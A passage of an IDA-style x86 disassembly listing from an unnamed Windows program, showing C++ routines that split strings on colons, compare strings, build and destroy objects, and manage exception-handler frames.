		mov	[esp+40h+var_2C], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		mov	ecx, [esp+40h+var_34]
		mov	large fs:0, ecx
		pop	esi
		add	esp, 14h
		retn	30h
; ---------------------------------------------------------------------------


loc_413ACE:				; CODE XREF: sub_413A20+3Fj
					; sub_413A20+79j
		lea	ecx, [esp+18h+arg_0]
		mov	byte ptr [esp+18h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+18h+arg_18]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+18h+var_C]
		xor	al, al
		mov	large fs:0, ecx
		pop	esi
		add	esp, 14h
		retn	30h
sub_413A20	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_413B50:				; CODE XREF: ___:00401393j
		push	0FFFFFFFFh
		push	offset loc_439BA8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+18h]
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+1Ch], esp
		push	eax
		call	sub_401861
		mov	edx, [esp+30h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+4Ch], esp
		push	edx
		mov	dword ptr [esp+44h], 0
		call	sub_401861
		mov	ecx, esi
		mov	dword ptr [esp+40h], 0FFFFFFFFh
		call	sub_40191F
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn	8
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413BE0	proc near		; CODE XREF: sub_401181j

var_3C		= byte ptr -3Ch
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_4		= byte ptr  8
arg_18		= dword	ptr  1Ch
arg_1C		= dword	ptr  20h

		push	0FFFFFFFFh
		push	offset SEH_413BE0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 34h
		push	ebx
		push	ebp
		mov	ebp, [esp+48h+arg_18]
		xor	ebx, ebx
		cmp	ebp, ebx
		mov	[esp+48h+var_4], ebx
		jz	loc_413D29
		lea	ecx, [esp+48h+arg_0]
		call	sub_4017E4
		test	eax, eax
		jz	loc_413D29
		push	esi
		push	edi
		push	offset asc_443C4C ; ":"
		lea	eax, [esp+54h+var_3C]
		push	ebx
		push	eax
		lea	ecx, [esp+5Ch+arg_0]
		xor	esi, esi
		call	sub_4016AE
		push	offset byte_446F20
		mov	ecx, eax
		mov	byte ptr [esp+54h+var_4], 1
		call	sub_4012EE
		lea	ecx, [esp+50h+var_3C]
		mov	edi, eax
		mov	byte ptr [esp+50h+var_4], bl
		call	sub_401226
		cmp	edi, ebx
		jz	loc_413D03
		add	ebp, 54h


loc_413C60:				; CODE XREF: sub_413BE0+11Dj
		push	15h
		call	sub_43688A
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	dword ptr [esp+4Ch+var_3C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+4Ch], 2
		jz	short loc_413C80
		mov	ecx, eax
		call	sub_401F2D
		jmp	short loc_413C82
; ---------------------------------------------------------------------------


loc_413C80:				; CODE XREF: sub_413BE0+95j
		xor	eax, eax


loc_413C82:				; CODE XREF: sub_413BE0+9Ej
		push	offset asc_443C4C ; ":"
		lea	ecx, [esp+50h+var_20]
		push	esi
		push	ecx
		lea	ecx, [esp+58h+arg_4]
		mov	[esp+58h], bl
		mov	[esp+58h+arg_1C], eax
		call	sub_4016AE
		mov	ecx, [esp+4Ch+arg_1C]
		push	eax
		mov	byte ptr [esp+50h], 3
		call	sub_40200E
		lea	ecx, [esp+4Ch+var_20]
		mov	[esp+4Ch], bl
		call	sub_401226
		lea	edx, [esp+4Ch+arg_1C]
		mov	ecx, ebp
		push	edx
		call	sub_40147E
; ---------------------------------------------------------------------------
		inc	esi
		push	offset asc_443C4C ; ":"
		lea	eax, [esp+54h+var_3C]
		push	esi
		push	eax
		lea	ecx, [esp+5Ch+arg_0]
		call	sub_4016AE
		push	offset byte_446F20
		mov	ecx, eax
		mov	byte ptr [esp+54h+var_4], 1
		call	sub_4012EE
		lea	ecx, [esp+50h+var_3C]
		mov	edi, eax
		mov	byte ptr [esp+50h+var_4], bl
		call	sub_401226
		cmp	edi, ebx
		jnz	loc_413C60


loc_413D03:				; CODE XREF: sub_413BE0+77j
		lea	ecx, [esp+50h+arg_0]
		mov	[esp+50h+var_4], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	ecx, [esp+40h+var_C]
		mov	large fs:0, ecx
		add	esp, 40h
		retn	1Ch
; ---------------------------------------------------------------------------


loc_413D29:				; CODE XREF: sub_413BE0+26j
					; sub_413BE0+37j
		lea	ecx, [esp+48h+arg_0]
		mov	[esp+48h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+48h+var_C]
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 40h
		retn	1Ch
sub_413BE0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413DB0	proc near		; CODE XREF: sub_401F2Dj
		push	esi
		mov	esi, ecx
		call	sub_401424
		mov	eax, esi
		pop	esi
		retn
sub_413DB0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_413DD0:				; CODE XREF: ___:004010F0j
		mov	eax, [esp+8]
		mov	edx, [esp+4]
		push	esi
		push	eax
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+28h], esp
		push	edx
		call	sub_401861
		mov	ecx, esi
		call	sub_401181
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413E10	proc near		; CODE XREF: sub_40189Dj

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_14		= byte ptr  18h
arg_18		= byte ptr  1Ch
arg_2C		= byte ptr  30h
arg_30		= byte ptr  34h
arg_44		= byte ptr  48h
arg_48		= byte ptr  4Ch
arg_5C		= byte ptr  60h
arg_60		= byte ptr  64h

		push	0FFFFFFFFh
		push	offset SEH_413E10
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ebp, ecx
		sub	esp, 18h
		lea	eax, [esp+3Ch+arg_30]
		mov	ecx, esp
		mov	[esp+3Ch+var_14], esp
		push	eax
		mov	[esp+40h+var_4], 4
		call	sub_4014C9
		mov	ecx, ebp
		call	sub_401CD0
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	loc_413FFE
		sub	esp, 18h
		lea	edx, [esp+3Ch+arg_0]
		mov	ecx, esp
		mov	[esp+3Ch+var_14], esp
		push	edx
		call	sub_4014C9
		mov	ecx, ebp
		call	sub_402112
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_413FFE
		push	edi
		lea	eax, [esp+28h+arg_18]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h+var_14], esp
		push	eax
		call	sub_4014C9
		mov	ecx, ebp
		call	sub_4011DB
		cmp	al, bl
		jz	loc_413FFE
		push	offset byte_446F20
		lea	ecx, [esp+28h+arg_48]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_413EF7
		lea	ecx, [edi+2Ah]
		call	sub_4017E4
		lea	ecx, [esp+24h+arg_48]
		mov	esi, eax
		call	sub_4017E4


loc_413EC6:				; CODE XREF: sub_413E10+D4j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_413EEA
		cmp	cl, bl
		jz	short loc_413EE6
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_413EEA
		add	eax, 2
		add	esi, 2
		cmp	cl, bl
		jnz	short loc_413EC6


loc_413EE6:				; CODE XREF: sub_413E10+C0j
		xor	eax, eax
		jmp	short loc_413EEF
; ---------------------------------------------------------------------------


loc_413EEA:				; CODE XREF: sub_413E10+BCj
					; sub_413E10+CAj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_413EEF:				; CODE XREF: sub_413E10+D8j
		cmp	eax, ebx
		jnz	loc_413FFE


loc_413EF7:				; CODE XREF: sub_413E10+A1j
		push	offset byte_446F20
		lea	ecx, [esp+28h+arg_60]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_413F53
		lea	ecx, [edi+3Fh]
		call	sub_4017E4
		lea	ecx, [esp+24h+arg_60]
		mov	esi, eax
		call	sub_4017E4


loc_413F22:				; CODE XREF: sub_413E10+130j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_413F46
		cmp	cl, bl
		jz	short loc_413F42
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_413F46
		add	eax, 2
		add	esi, 2
		cmp	cl, bl
		jnz	short loc_413F22


loc_413F42:				; CODE XREF: sub_413E10+11Cj
		xor	eax, eax
		jmp	short loc_413F4B
; ---------------------------------------------------------------------------


loc_413F46:				; CODE XREF: sub_413E10+118j
					; sub_413E10+126j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_413F4B:				; CODE XREF: sub_413E10+134j
		cmp	eax, ebx
		jnz	loc_413FFE


loc_413F53:				; CODE XREF: sub_413E10+FAj
		push	58h
		call	sub_43688A
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+24h+var_10], eax
		cmp	eax, ebx
		mov	byte ptr [esp+24h+var_4], 5
		jz	short loc_413F73
		mov	ecx, eax
		call	sub_401D07
		jmp	short loc_413F75
; ---------------------------------------------------------------------------


loc_413F73:				; CODE XREF: sub_413E10+158j
		xor	eax, eax


loc_413F75:				; CODE XREF: sub_413E10+161j
		mov	[esp+24h+var_14], eax
		mov	[eax], edi
		mov	ecx, [esp+24h+var_14]
		lea	eax, [esp+24h+arg_0]
		push	eax
		add	ecx, 4
		mov	byte ptr [esp+28h+var_4], 4
		call	sub_40200E
		mov	eax, [esp+24h+var_14]
		lea	edx, [esp+24h+arg_30]
		push	edx
		lea	ecx, [eax+19h]
		call	sub_40200E
		lea	ecx, [esp+24h+var_14]
		push	ecx
		lea	ecx, [ebp+6Ch]
		call	sub_401406
; ---------------------------------------------------------------------------
		lea	ecx, [esp+28h]
		mov	byte ptr [esp+28h+var_8], 3
		call	sub_401226
		lea	ecx, [esp+28h+arg_14]
		mov	byte ptr [esp+28h+var_8], 2
		call	sub_401226
		lea	ecx, [esp+28h+arg_2C]
		mov	byte ptr [esp+28h+var_8], 1
		call	sub_401226
		lea	ecx, [esp+28h+arg_44]
		mov	byte ptr [esp+28h+var_8], bl
		call	sub_401226
		lea	ecx, [esp+28h+arg_5C]
		mov	[esp+28h+var_8], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	short loc_41404B
; ---------------------------------------------------------------------------


loc_413FFE:				; CODE XREF: sub_413E10+44j
					; sub_413E10+68j ...
		lea	ecx, [esp+24h+arg_0]
		mov	byte ptr [esp+24h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+24h+arg_18]
		mov	byte ptr [esp+24h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+24h+arg_30]
		mov	byte ptr [esp+24h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+24h+arg_48]
		mov	byte ptr [esp+24h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+24h+arg_60]
		mov	[esp+24h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al


loc_41404B:				; CODE XREF: sub_413E10+1ECj
		mov	ecx, [esp+24h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 14h
		retn	78h
sub_413E10	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414100	proc near		; CODE XREF: sub_401D07j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_414100
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+4]
		call	sub_401424
		lea	ecx, [esi+19h]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		lea	ecx, [esi+2Eh]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401424
		lea	ecx, [esi+43h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_414100	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_414190:				; CODE XREF: ___:00401DC0j
		push	0FFFFFFFFh
		push	offset loc_439CB0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+24h]
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+1Ch], esp
		push	eax
		call	sub_401861
		mov	edx, [esp+3Ch]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+58h], esp
		push	edx
		mov	dword ptr [esp+44h], 0
		call	sub_401861
		mov	eax, [esp+50h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+6Ch], esp
		push	eax
		mov	byte ptr [esp+5Ch], 1
		call	sub_401861
		mov	edx, [esp+64h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+80h], esp
		push	edx
		mov	byte ptr [esp+74h], 2
		call	sub_401861
		mov	eax, [esp+78h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+94h], esp
		push	eax
		mov	byte ptr [esp+8Ch], 3
		call	sub_401861
		mov	ecx, esi
		mov	dword ptr [esp+88h], 0FFFFFFFFh
		call	sub_40189D
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn	14h
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414280	proc near		; CODE XREF: sub_401537j
		add	ecx, 6Ch
		jmp	sub_401C62
sub_414280	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4142A0	proc near		; CODE XREF: sub_40137Fj

var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4142A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		push	60h
		mov	[esp+1Ch+var_4], 3
		call	sub_43688A
sub_4142A0	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+8], eax
		test	eax, eax
		mov	byte ptr [esp+14h], 4
		jz	short loc_4142E3
		mov	ecx, eax
		call	sub_401BE0
; ---------------------------------------------------------------------------
		jmp	short loc_4142E5
; ---------------------------------------------------------------------------


loc_4142E3:				; CODE XREF: ___:004142D8j
		xor	eax, eax


loc_4142E5:				; CODE XREF: ___:004142E1j
		lea	ecx, [esp+1Ch]
		mov	byte ptr [esp+14h], 3
		push	ecx
		mov	ecx, eax
		mov	[esp+8], eax
		call	sub_40200E
		mov	eax, [esp+4]
		lea	edx, [esp+34h]
		push	edx
		lea	ecx, [eax+15h]
		call	sub_40200E
		mov	edx, [esp+4]
		lea	ecx, [esp+4Ch]
		push	ecx
		lea	ecx, [edx+2Ah]
		call	sub_40200E
		mov	ecx, [esp+4]
		lea	eax, [esp+64h]
		push	eax
		add	ecx, 3Fh
		call	sub_40200E
		lea	edx, [esp+4]
		lea	ecx, [esi+60h]
		push	edx
		call	sub_401EF1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	byte ptr [esp+14h], 2
		call	sub_401226
		lea	ecx, [esp+34h]
		mov	byte ptr [esp+14h], 1
		call	sub_401226
		lea	ecx, [esp+4Ch]
		mov	byte ptr [esp+14h], 0
		call	sub_401226
		lea	ecx, [esp+64h]
		mov	dword ptr [esp+14h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+0Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn	60h
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4143D0	proc near		; CODE XREF: sub_401BE0j

var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4143D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	[esp+18h+var_10], esi
		call	sub_401424
		lea	ecx, [esi+15h]
		mov	[esp+18h+var_4], 0
		call	sub_401424
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+18h+var_4], 1
		call	sub_401424
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+18h+var_4], 2
		call	sub_401424
		lea	eax, [esp+18h+var_11]
		lea	ecx, [esi+54h]
		push	eax
		mov	byte ptr [esp+1Ch+var_4], 3
		call	sub_40132A
sub_4143D0	endp

; ---------------------------------------------------------------------------
		mov	ecx, [esp+0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_414470:				; CODE XREF: ___:004010FAj
		push	0FFFFFFFFh
		push	offset loc_439D78
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+20h]
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+1Ch], esp
		push	eax
		call	sub_401861
		mov	edx, [esp+38h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+54h], esp
		push	edx
		mov	dword ptr [esp+44h], 0
		call	sub_401861
		mov	eax, [esp+4Ch]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+68h], esp
		push	eax
		mov	byte ptr [esp+5Ch], 1
		call	sub_401861
		mov	edx, [esp+60h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+7Ch], esp
		push	edx
		mov	byte ptr [esp+74h], 2
		call	sub_401861
		mov	ecx, esi
		mov	dword ptr [esp+70h], 0FFFFFFFFh
		call	sub_40137F
; ---------------------------------------------------------------------------
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn	10h
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414540	proc near		; CODE XREF: sub_401DACj

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= dword	ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_414540
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		lea	ecx, [esp+18h+var_14]
		mov	[esp+18h+var_4], 0
		mov	[esp+18h+var_10], 0
		call	sub_401E1F
		mov	eax, [esp+18h+arg_18]
		lea	ecx, [esp+18h+arg_18]
		push	ecx
		lea	esi, [eax+54h]
		mov	ecx, esi
		call	sub_4012E9
		mov	edx, [eax]
		lea	eax, [esp+18h+arg_18]
		push	eax
		mov	ecx, esi
		mov	[esp+1Ch+var_14], edx
		call	sub_401D89
		push	eax
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401D5C
		test	al, al
		jz	short loc_4145F0


loc_4145A5:				; CODE XREF: sub_414540+AEj
		lea	ecx, [esp+18h+arg_0]
		push	ecx
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401FA5
		mov	ecx, [eax]
		call	sub_401B72
		test	eax, eax
		jnz	short loc_4145CD
		lea	ecx, [esp+18h+var_14]
		call	sub_401FA5
		mov	edx, [eax]
		mov	[esp+18h+var_10], edx


loc_4145CD:				; CODE XREF: sub_414540+7Cj
		lea	ecx, [esp+18h+var_14]
		call	sub_4020A4
		lea	eax, [esp+18h+arg_18]
		mov	ecx, esi
		push	eax
		call	sub_401D89
		push	eax
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401D5C
		test	al, al
		jnz	short loc_4145A5


loc_4145F0:				; CODE XREF: sub_414540+63j
		mov	eax, [esp+18h+var_10]
		test	eax, eax
		jz	short loc_414638
		lea	ecx, [esp+18h+var_10]
		push	ecx
		mov	ecx, esi
		call	sub_401258
		mov	ecx, [esp+18h+var_10]
		test	ecx, ecx
		jz	short loc_414613
		push	1
		call	sub_4019DD


loc_414613:				; CODE XREF: sub_414540+CAj
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		pop	esi
		mov	ecx, [esp+14h+var_C]
		mov	large fs:0, ecx
		add	esp, 14h
		retn	1Ch
; ---------------------------------------------------------------------------


loc_414638:				; CODE XREF: sub_414540+B6j
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+18h+var_C]
		xor	al, al
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn	1Ch
sub_414540	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4146B0	proc near		; CODE XREF: sub_4019DDj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_402220
		test	[esp+4+arg_0], 1
		jz	short loc_4146C8
		push	esi
		call	sub_436872
; ---------------------------------------------------------------------------
		add	esp, 4


loc_4146C8:				; CODE XREF: sub_4146B0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_4146B0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4146E0	proc near		; CODE XREF: sub_402220j
		jmp	sub_401226
sub_4146E0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_414700:				; CODE XREF: ___:00401276j
		push	0FFFFFFFFh
		push	offset loc_439DC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 20h
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ebp, ecx
		xor	ebx, ebx
		push	offset asc_443C4C ; ":"
		lea	eax, [esp+1Ch]
		push	ebx
		push	eax
		lea	ecx, [esp+4Ch]
		mov	[esp+44h], ebx
		mov	byte ptr [esp+1Fh], 1
		xor	esi, esi
		call	sub_4016AE
		push	offset byte_446F20
		mov	ecx, eax
		mov	byte ptr [esp+3Ch], 1
		call	sub_4012EE
		lea	ecx, [esp+18h]
		mov	edi, eax
		mov	[esp+38h], bl
		call	sub_401226
		cmp	edi, ebx
		jz	short loc_4147C9


loc_414763:				; CODE XREF: ___:004147C7j
		mov	ecx, [esp+58h]
		push	ecx
		lea	ecx, [esp+44h]
		sub	esp, 18h
		mov	edx, esp
		mov	[esp+30h], esp
		push	offset asc_443C4C ; ":"
		push	esi
		push	edx
		call	sub_4016AE
		mov	ecx, ebp
		call	sub_401DAC
		cmp	al, bl
		jnz	short loc_414790
		mov	[esp+13h], bl


loc_414790:				; CODE XREF: ___:0041478Aj
		inc	esi
		push	offset asc_443C4C ; ":"
		lea	eax, [esp+1Ch]
		push	esi
		push	eax
		lea	ecx, [esp+4Ch]
		call	sub_4016AE
		push	offset byte_446F20
		mov	ecx, eax
		mov	byte ptr [esp+3Ch], 1
		call	sub_4012EE
		lea	ecx, [esp+18h]
		mov	edi, eax
		mov	[esp+38h], bl
		call	sub_401226
		cmp	edi, ebx
		jnz	short loc_414763


loc_4147C9:				; CODE XREF: ___:00414761j
		lea	ecx, [esp+40h]
		mov	dword ptr [esp+38h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+30h]
		mov	al, [esp+13h]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 2Ch
		retn	1Ch
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414840	proc near		; CODE XREF: sub_40210Dj

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= byte ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_414840
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+1Ch+arg_0]
		mov	[esp+1Ch+var_4], 1
		call	sub_4017E4
		test	eax, eax
		jz	loc_414974
		lea	ecx, [esp+1Ch+var_18]
		mov	[esp+1Ch+var_14], 0
		call	sub_402252
		add	esi, 6Ch
		lea	eax, [esp+1Ch+var_10]
		push	eax
		mov	ecx, esi
		call	sub_4018F2
		mov	ecx, [eax]
		lea	edx, [esp+1Ch+var_10]
		mov	[esp+1Ch+var_18], ecx
		push	edx
		mov	ecx, esi
		call	sub_40114A
		push	eax
		lea	ecx, [esp+20h+var_18]
		call	sub_401339
		test	al, al
		jz	short loc_41491E


loc_4148B4:				; CODE XREF: sub_414840+DCj
		lea	eax, [esp+1Ch+arg_0]
		lea	ecx, [esp+1Ch+var_18]
		push	eax
		call	sub_40135C
		mov	ecx, [eax]
		add	ecx, 4
		call	sub_401B72
		test	eax, eax
		jz	short loc_4148EC
		lea	ecx, [esp+1Ch+arg_18]
		push	ecx
		lea	ecx, [esp+20h+var_18]
		call	sub_40135C
		mov	ecx, [eax]
		add	ecx, 19h
		call	sub_401B72
		test	eax, eax
		jnz	short loc_4148FB


loc_4148EC:				; CODE XREF: sub_414840+8Ej
		lea	ecx, [esp+1Ch+var_18]
		call	sub_40135C
		mov	edx, [eax]
		mov	[esp+1Ch+var_14], edx


loc_4148FB:				; CODE XREF: sub_414840+AAj
		lea	ecx, [esp+1Ch+var_18]
		call	sub_40118B
		lea	eax, [esp+1Ch+var_10]
		mov	ecx, esi
		push	eax
		call	sub_40114A
		push	eax
		lea	ecx, [esp+20h+var_18]
		call	sub_401339
		test	al, al
		jnz	short loc_4148B4


loc_41491E:				; CODE XREF: sub_414840+72j
		mov	eax, [esp+1Ch+var_14]
		test	eax, eax
		jz	short loc_414974
		lea	ecx, [esp+1Ch+var_14]
		push	ecx
		mov	ecx, esi
		call	sub_402130
		mov	ecx, [esp+1Ch+var_14]
		test	ecx, ecx
		jz	short loc_414941
		push	1
		call	sub_4016FE


loc_414941:				; CODE XREF: sub_414840+F8j
		lea	ecx, [esp+1Ch+arg_0]
		mov	byte ptr [esp+1Ch+var_4], 0
		call	sub_401226
		lea	ecx, [esp+1Ch+arg_18]
		mov	[esp+1Ch+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		pop	esi
		mov	ecx, [esp+18h+var_C]
		mov	large fs:0, ecx
		add	esp, 18h
		retn	30h
; ---------------------------------------------------------------------------


loc_414974:				; CODE XREF: sub_414840+2Ej
					; sub_414840+E4j
		lea	ecx, [esp+1Ch+arg_0]
		mov	byte ptr [esp+1Ch+var_4], 0
		call	sub_401226
		lea	ecx, [esp+1Ch+arg_18]
		mov	[esp+1Ch+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch+var_C]
		xor	al, al
		pop	esi
		mov	large fs:0, ecx
		add	esp, 18h
		retn	30h
sub_414840	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414A10	proc near		; CODE XREF: sub_4016FEj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401A5A
		test	[esp+4+arg_0], 1
		jz	short loc_414A28
		push	esi
		call	sub_436872
; ---------------------------------------------------------------------------
		add	esp, 4


loc_414A28:				; CODE XREF: sub_414A10+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_414A10	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414A40	proc near		; CODE XREF: sub_401A5Aj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_414A40
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+43h]
		mov	[esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+2Eh]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+19h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
